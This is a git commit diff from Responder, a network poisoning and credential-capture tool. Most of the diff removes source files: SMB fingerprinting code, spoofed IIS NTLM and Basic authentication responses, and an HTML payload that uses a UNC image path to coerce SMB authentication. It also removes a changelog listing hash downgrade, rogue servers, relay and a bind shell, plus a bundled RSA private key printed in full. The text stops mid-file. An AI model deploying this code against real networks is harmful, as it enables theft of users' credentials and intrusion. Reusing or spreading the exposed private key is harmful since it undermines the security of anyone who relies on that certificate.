Added: Random challenge for each requests (default)

Update RelayMultiCore.py

.gitignore

@@ -0,0 +1,5 @@
+# Responder logs
+*.db
+*.txt
+*.log
+

CHANGELOG

@@ -1,55 +0,0 @@
-ChangeLog Responder 2.0:
-- Added: -F command line switch to force NTLM authentication on PAC file retrieval.
-- Added: Ability to inject custom HTML in HTTP responses.
-- Added: New WPAD proxy server. Enabled by default.
-- Several improvements.
-- Added: SMTP module
-- Added: POP3 module
-- Added: MSSQL plaintext auth support
-- Added: SMB Relay
-- Added: NBT-NS name is now printed.
-- Added: -I command line switch (network interface). When set, this option override Responder.conf Bind_to setting.
-- Added: Ability to change the HTML payload returned after authentication. See Responder.conf
-- Added: Ability to change the pac script in Responder.conf
-- Added: Configuration file for Responder. See Responder.conf
-- Removed: Several options removed.
-- Added: Bind shell which when executed on a victim workstation, will bind cmd.exe to port 140.
-- Added: -e, --exe, --file option for serving specific files via the HTTP and WPAD server.
-- Added: Ability to bind Responder to a specific interface
-- Fix: Several fixes
-- Added: HTTPS module.
-- Added: Support for LM Hash downgrade.
-- Added: WPAD transparent proxy server.
-- Fix: minor bug fix
-- Fix: Fixed bug in HTTP server.
-- Added: Rogue LDAP auth server. Supports clear text password and NTLMSSP.
-- Added: Ability to turn on/off the DNS server.
-- Added: Icmp-Redirect.py for MITM Windows XP/2003 and earlier Domain members.
-- Added: SMB Clear Text function for NT4 specific.
-- Added: DNS server module. 
-- Added: FTP server module.
-- Added: Ability to find the PDC in stealth mode with the Browser listener.
-- Several changes.
-- Removed: -d option (Domain), useless for now.
-- Added: SMB Extended Security NTLMSSP authentication. 
-- Added: Fingerprint module.
-- Added: Ability to turn off independently capture services.(mubix)
-- Added: Function to grab HTTP cookies.
-- Fix: Typo in logfile description.
-- Added: Option for logging to a file (ravenium).
-- Added: Basic exception handling for server sockets (ravenium).
-- Added: Logging functionality, now logs all Responder activity to a file with date and time.
-- Added: Print IP address to stdout for each protocol.
-- Improvement: Added new line on Writedata (atucom).
-- Improvement: final Hash is now printed to stdout instead of NT and LM. 
-- Fix: Fixed spelling in README (atucom).
-- Fix: Removed hardcoded challenge for SQL NTLM.
-- Fix: Removed hardcoded challenge for HTTP NTLM.
-- Added an HTTP server with support for ntlmv1/v2 and basic Auth.
-- Added command line switch support with optparse.
-- Added -r switch, which allows turning On/Off Wredir answers.
-- Added the possibility to turn off HTTP server using the -s switch.
-- Added LLMNR module.
-- Fixed bug in NTLMv1 hash parsing when clientOs and ClientVersion are
-  empty.
-- Several minor changes.

Certs/gen-self-signed-cert.sh

@@ -1,2 +0,0 @@
-#!/bin/bash
-openssl genrsa -des3 -out responder.tmp.key 2048&&openssl rsa -in responder.tmp.key -out responder.key&&openssl req -new -key responder.key -out responder.csr&&openssl x509 -req -days 365 -in responder.csr -signkey responder.key -out responder.crt&&rm responder.tmp.key responder.csr

Certs/responder.crt

@@ -1,19 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIDBjCCAe4CCQDDe8Sb2PGjITANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJB
-VTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0
-cyBQdHkgTHRkMB4XDTEzMDIyODIwMTcxN1oXDTE0MDIyODIwMTcxN1owRTELMAkG
-A1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0
-IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
-AMQB5yErm0Sg7sRQbLgbi/hG/8uF2xUzvVKnT4LROEWkkimy9umb2JbvAZITDvSs
-r2xsPA4VoxFjKpWLOv7mAIMBR95NDWsTLuR36Sho/U2LlTlUBdSfQP7rlKQZ0L43
-YpXswdvCCJ0wP2yOhq0i71cg/Nk9mfQxftpgGUxoa+6ljU9hSdmThu2FVgAbSpNl
-D86rk4K9/sGYAY4btMqaMzC7JIKZp07FHL32oM01cKbRoNg2eUuQmoVjca1pkmbO
-Y8qnl7ajOjsiAPQnt/2TMJlRsdoU1fSx76Grgkm8D4gX/pBUqELdpvHtnm/9imPl
-qNGL5LaW8ARgG16U0mRhutkCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAS7u4LWc9
-wDPThD0o58Ti2GgIs+mMRx5hPaxWHJNCu+lwFqjvWmsNFfHoSzlIkIUjtlV2G/wE
-FxDSPlc/V+r7U2UiE7WSqQiWdmfOYS2m03x4SN0Vzf/n9DeApyPo2GsXGrha20eN
-s390Xwj6yKFdprUPJ8ezlEVRrAMv7tu1cOLzqmkocYKnPgXDdQxiiGisp7/hEUCQ
-B7HvNCMPbOi+M7O/CXbfgnTD029KkyiR2LEtj4QC5Ytp/pj0UyyoIeCK57CTB3Jt
-X3CZ+DiphTpOca4iENH55m6atk+WHYwg3ClYiONQDdIgKVT3BK0ITjyFWZeTneVu
-1eVgF/UkX9fqJg==
------END CERTIFICATE-----

Certs/responder.key

@@ -1,27 +0,0 @@
------BEGIN RSA PRIVATE KEY-----
-MIIEowIBAAKCAQEAxAHnISubRKDuxFBsuBuL+Eb/y4XbFTO9UqdPgtE4RaSSKbL2
-6ZvYlu8BkhMO9KyvbGw8DhWjEWMqlYs6/uYAgwFH3k0NaxMu5HfpKGj9TYuVOVQF
-1J9A/uuUpBnQvjdilezB28IInTA/bI6GrSLvVyD82T2Z9DF+2mAZTGhr7qWNT2FJ
-2ZOG7YVWABtKk2UPzquTgr3+wZgBjhu0ypozMLskgpmnTsUcvfagzTVwptGg2DZ5
-S5CahWNxrWmSZs5jyqeXtqM6OyIA9Ce3/ZMwmVGx2hTV9LHvoauCSbwPiBf+kFSo
-Qt2m8e2eb/2KY+Wo0YvktpbwBGAbXpTSZGG62QIDAQABAoIBABbuLg74XgLKXQSE
-cCOdvWM/Ux+JOlchpW1s+2VPeqjTFvJf6Hjt7YnCzkk7h41iQmeJxgDT0S7wjgPO
-tQkq+TZaSQEdvIshRGQgDxvWJIQU51E8ni4Ar4bjIpGMH5qROixV9VvzODTDdzgI
-+IJ6ystDpbD4fvFNdQyxH2SL9syFRyWyxY3vWB0C/OHWxGFtiTtmeivBSmpxl0RY
-RQqPLxX+xUCie7U6ud3e37FO7cKt+YT8lWKhGHKJlTlJbHs1d8crzp6qKJLl+ibB
-0fB6D6E5M1fnIJFJULIYAG5bEak90KuKOKCLoKLG+rq0vUvJsb9vNCAA6rh1ra+n
-8woY8TECgYEA7CEE/3oWnziB3PZoIIJDgbBalCCbA+/SgDiSvYJELEApCMj8HYc5
-UGOxrfVhPmbHRUI982Fj1oM3QBEX0zpkOk7Xk224RXwBHG8MMPQmTMVp+o06AI6D
-Nggyam9v5KLNMj5KghKJSOD0tR5YxsZPXw4gAI+wpqu3bXGKZ8bRpvUCgYEA1ICJ
-H+kw6H8edJHGdNH+X6RR0DIbS11XQvbKQ3vh6LdHTofoHqQa3t0zGYCgksKJbtHV
-2h3pv+nuOu5FEP2rrGJIforv2zwfJ5vp65jePrSXU+Up4pMHbP1Rm91ApcKNA15U
-q3SaclqTjmiqvaeSKc4TDjdb/rUaIhyIgbg97dUCgYAcdq5/jVwEvW8KD7nlkU5J
-59RDXtrQ0qvxQOCPb5CANQu9P10EwjQqeJoGejnKp+EFfEKzf93lEdQrKORSVguW
-68IYx3UbCyOnJcu2avfi8TkhNrzzLDqs3LgXFG/Mg8NwdwnMPCfIXTWiT5IsA+O1
-daJt7uRAcxqdWr5wXAsRsQKBgFXU4Q4hm16dUcjVxKoU08D/1wfX5UxolEF4+zOM
-yy+7L7MZk/kkYbIY+HXZjYIZz3cSjGVAZdTdgRsOeJknTPsg65UpOz57Jz5RbId7
-xHDhcqoxSty4dGxiWV8yW9VYIqr0pBBo1aVQzn7b6fMWxyPZl7rLQ3462iZjDgQP
-TfxNAoGBAK/Gef6MgchbFPikOVEX9qB/wt4sS3V7mT6QkqMZZgSkegDLBFVRJX3w
-Emx/V2A14p0uHPzn5irURyJ6daZCN4amPAWYQnkiXG8saiBwtfs23A1q7kxnPR+b
-KJfb+nDlhU1iYa/7nf4PaR/i9l6gcwOeh1ThK1nq4VvwTaTZKSRh
------END RSA PRIVATE KEY-----

Fingerprint.py

@@ -1,134 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import re,sys,socket,struct,string
-from socket import *
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-def longueur(payload):
-    length = struct.pack(">i", len(''.join(payload)))
-    return length
-
-class SMBHeader(Packet):
-    fields = OrderedDict([
-        ("proto", "\xff\x53\x4d\x42"),
-        ("cmd", "\x72"),
-        ("error-code", "\x00\x00\x00\x00" ),
-        ("flag1", "\x00"),
-        ("flag2", "\x00\x00"),
-        ("pidhigh", "\x00\x00"),
-        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("reserved", "\x00\x00"),
-        ("tid", "\x00\x00"),
-        ("pid", "\x00\x00"),
-        ("uid", "\x00\x00"),
-        ("mid", "\x00\x00"),
-    ])
-
-class SMBNego(Packet):
-    fields = OrderedDict([
-        ("wordcount", "\x00"),
-        ("bcc", "\x62\x00"),
-        ("data", "")
-    ])
-    
-    def calculate(self):
-        self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
-
-class SMBNegoData(Packet):
-    fields = OrderedDict([
-        ("separator1","\x02" ),
-        ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
-        ("separator2","\x02"),
-        ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
-        ("separator3","\x02"),
-        ("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
-        ("separator4","\x02"),
-        ("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
-        ("separator5","\x02"),
-        ("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
-        ("separator6","\x02"),
-        ("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
-    ])
-
-class SMBSessionFingerData(Packet):
-    fields = OrderedDict([
-        ("wordcount", "\x0c"),
-        ("AndXCommand", "\xff"),
-        ("reserved","\x00" ),
-        ("andxoffset", "\x00\x00"),
-        ("maxbuff","\x04\x11"),
-        ("maxmpx", "\x32\x00"),
-        ("vcnum","\x00\x00"),
-        ("sessionkey", "\x00\x00\x00\x00"),
-        ("securitybloblength","\x4a\x00"),
-        ("reserved2","\x00\x00\x00\x00"),
-        ("capabilities", "\xd4\x00\x00\xa0"),
-        ("bcc1",""),
-        ("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
-
-    ])
-    def calculate(self): 
-        self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]   
-
-
-def OsNameClientVersion(data):
-    try:
-       lenght = struct.unpack('<H',data[43:45])[0]
-       pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
-       var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
-       OsVersion, ClientVersion = tuple(var)
-       return OsVersion, ClientVersion
-    except:
-       return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
-
-def RunSmbFinger(host):
-    s = socket(AF_INET, SOCK_STREAM)
-    s.connect(host)
-    s.settimeout(0.7)
-    h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
-    n = SMBNego(data = SMBNegoData())
-    n.calculate()
-    packet0 = str(h)+str(n)
-    buffer0 = longueur(packet0)+packet0
-    s.send(buffer0)
-    data = s.recv(2048)
-    if data[8:10] == "\x72\x00":
-       head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
-       t = SMBSessionFingerData()
-       t.calculate()
-       final = t 
-       packet0 = str(head)+str(final)
-       buffer1 = longueur(packet0)+packet0  
-       s.send(buffer1) 
-       data = s.recv(2048)
-    if data[8:10] == "\x73\x16":
-       return OsNameClientVersion(data)

FingerprintRelay.py

@@ -1,132 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import re,socket,struct
-from socket import *
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-def longueur(payload):
-    length = struct.pack(">i", len(''.join(payload)))
-    return length
-
-class SMBHeader(Packet):
-    fields = OrderedDict([
-        ("proto", "\xff\x53\x4d\x42"),
-        ("cmd", "\x72"),
-        ("error-code", "\x00\x00\x00\x00" ),
-        ("flag1", "\x00"),
-        ("flag2", "\x00\x00"),
-        ("pidhigh", "\x00\x00"),
-        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("reserved", "\x00\x00"),
-        ("tid", "\x00\x00"),
-        ("pid", "\x00\x00"),
-        ("uid", "\x00\x00"),
-        ("mid", "\x00\x00"),
-    ])
-
-class SMBNego(Packet):
-    fields = OrderedDict([
-        ("wordcount", "\x00"),
-        ("bcc", "\x62\x00"),
-        ("data", "")
-    ])
-    
-    def calculate(self):
-        self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
-
-class SMBNegoData(Packet):
-    fields = OrderedDict([
-        ("separator1","\x02" ),
-        ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
-        ("separator2","\x02"),
-        ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
-        ("separator3","\x02"),
-        ("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
-        ("separator4","\x02"),
-        ("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
-        ("separator5","\x02"),
-        ("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
-        ("separator6","\x02"),
-        ("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
-    ])
-
-class SMBSessionFingerData(Packet):
-    fields = OrderedDict([
-        ("wordcount", "\x0c"),
-        ("AndXCommand", "\xff"),
-        ("reserved","\x00" ),
-        ("andxoffset", "\x00\x00"),
-        ("maxbuff","\x04\x11"),
-        ("maxmpx", "\x32\x00"),
-        ("vcnum","\x00\x00"),
-        ("sessionkey", "\x00\x00\x00\x00"),
-        ("securitybloblength","\x4a\x00"),
-        ("reserved2","\x00\x00\x00\x00"),
-        ("capabilities", "\xd4\x00\x00\xa0"),
-        ("bcc1",""),
-        ("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
-
-    ])
-    def calculate(self): 
-        self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]   
-
-
-def OsNameClientVersion(data):
-    lenght = struct.unpack('<H',data[43:45])[0]
-    pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
-    var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
-    OsVersion = tuple(var)[0]
-    return OsVersion
-
-
-def RunSmbFinger(host):
-    s = socket(AF_INET, SOCK_STREAM)
-    s.connect(host)
-    s.settimeout(0.7)
-    h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
-    n = SMBNego(data = SMBNegoData())
-    n.calculate()
-    packet0 = str(h)+str(n)
-    buffer0 = longueur(packet0)+packet0
-    s.send(buffer0)
-    data = s.recv(2048)
-    if data[8:10] == "\x72\x00":
-       head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
-       t = SMBSessionFingerData()
-       t.calculate()
-       final = t 
-       packet0 = str(head)+str(final)
-       buffer1 = longueur(packet0)+packet0  
-       s.send(buffer1) 
-       data = s.recv(2048)
-    if data[8:10] == "\x73\x16":
-       return OsNameClientVersion(data)

HTTPCookies/.gitignore

@@ -1,2 +0,0 @@
-*
-!.gitignore

HTTPPackets.py

@@ -1,163 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import struct
-from odict import OrderedDict
-from base64 import b64decode,b64encode
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-
-#HTTP Packet used for further NTLM auth.
-class IIS_Auth_401_Ans(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
-        ("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: text/html\r\n"),
-        ("WWW-Auth",      "WWW-Authenticate: NTLM\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("Len",           "Content-Length: 0\r\n"), 
-        ("CRLF",          "\r\n"),                               
-    ])
-
-#HTTP Packet Granted auth.
-class IIS_Auth_Granted(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 200 OK\r\n"),
-        ("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: text/html\r\n"),
-        ("WWW-Auth",      "WWW-Authenticate: NTLM\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("ContentLen",    "Content-Length: "),
-        ("ActualLen",     "76"), 
-        ("CRLF",          "\r\n\r\n"),
-        ("Payload",       "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
-    ])
-    def calculate(self):
-        self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-#HTTP NTLM Auth
-class NTLM_Challenge(Packet):
-    fields = OrderedDict([
-        ("Signature",        "NTLMSSP"),
-        ("SignatureNull",    "\x00"),
-        ("MessageType",      "\x02\x00\x00\x00"),
-        ("TargetNameLen",    "\x06\x00"),
-        ("TargetNameMaxLen", "\x06\x00"),
-        ("TargetNameOffset", "\x38\x00\x00\x00"),
-        ("NegoFlags",        "\x05\x02\x89\xa2"),
-        ("ServerChallenge",  ""),
-        ("Reserved",         "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("TargetInfoLen",    "\x7e\x00"),
-        ("TargetInfoMaxLen", "\x7e\x00"),
-        ("TargetInfoOffset", "\x3e\x00\x00\x00"),
-        ("NTLMOsVersion",    "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
-        ("TargetNameStr",    "SMB"),
-        ("Av1",              "\x02\x00"),#nbt name
-        ("Av1Len",           "\x06\x00"),
-        ("Av1Str",           "SMB"),
-        ("Av2",              "\x01\x00"),#Server name
-        ("Av2Len",           "\x14\x00"),
-        ("Av2Str",           "SMB-TOOLKIT"),
-        ("Av3",              "\x04\x00"),#Full Domain name
-        ("Av3Len",           "\x12\x00"),
-        ("Av3Str",           "smb.local"),
-        ("Av4",              "\x03\x00"),#Full machine domain name
-        ("Av4Len",           "\x28\x00"),
-        ("Av4Str",           "server2003.smb.local"),
-        ("Av5",              "\x05\x00"),#Domain Forest Name
-        ("Av5Len",           "\x12\x00"),
-        ("Av5Str",           "smb.local"),
-        ("Av6",              "\x00\x00"),#AvPairs Terminator
-        ("Av6Len",           "\x00\x00"),             
-    ])
-
-    def calculate(self):
-        ##First convert to uni
-        self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
-        self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
-        self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
-        self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
-        self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
-        self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
-      
-        ##Then calculate
-        CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
-
-        CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
-
-        CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
-
-        # Target Name Offsets
-        self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
-        self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
-        self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
-        #AvPairs Offsets
-        self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
-        self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
-        self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
-        #AvPairs StrLen
-        self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
-        self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
-        self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
-        self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
-        self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
-
-#HTTP NTLM packet.
-class IIS_NTLM_Challenge_Ans(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
-        ("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: text/html\r\n"),
-        ("WWWAuth",       "WWW-Authenticate: NTLM "),
-        ("Payload",       ""),
-        ("Payload-CRLF",  "\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"),
-        ("Len",           "Content-Length: 0\r\n"),
-        ("CRLF",          "\r\n"),                                            
-    ])
-
-    def calculate(self,payload):
-        self.fields["Payload"] = b64encode(payload)
-
-#HTTP Basic answer packet.
-class IIS_Basic_401_Ans(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
-        ("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: text/html\r\n"),
-        ("WWW-Auth",      "WWW-Authenticate: Basic realm=''\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("Len",           "Content-Length: 0\r\n"), 
-        ("CRLF",          "\r\n"),                               
-    ])

HTTPProxy.py

@@ -1,158 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import struct
-from odict import OrderedDict
-from base64 import b64decode,b64encode
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-#WPAD script. the wpadwpadwpad is shorter than 15 chars and unlikely to be found.
-class WPADScript(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 200 OK\r\n"),
-        ("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
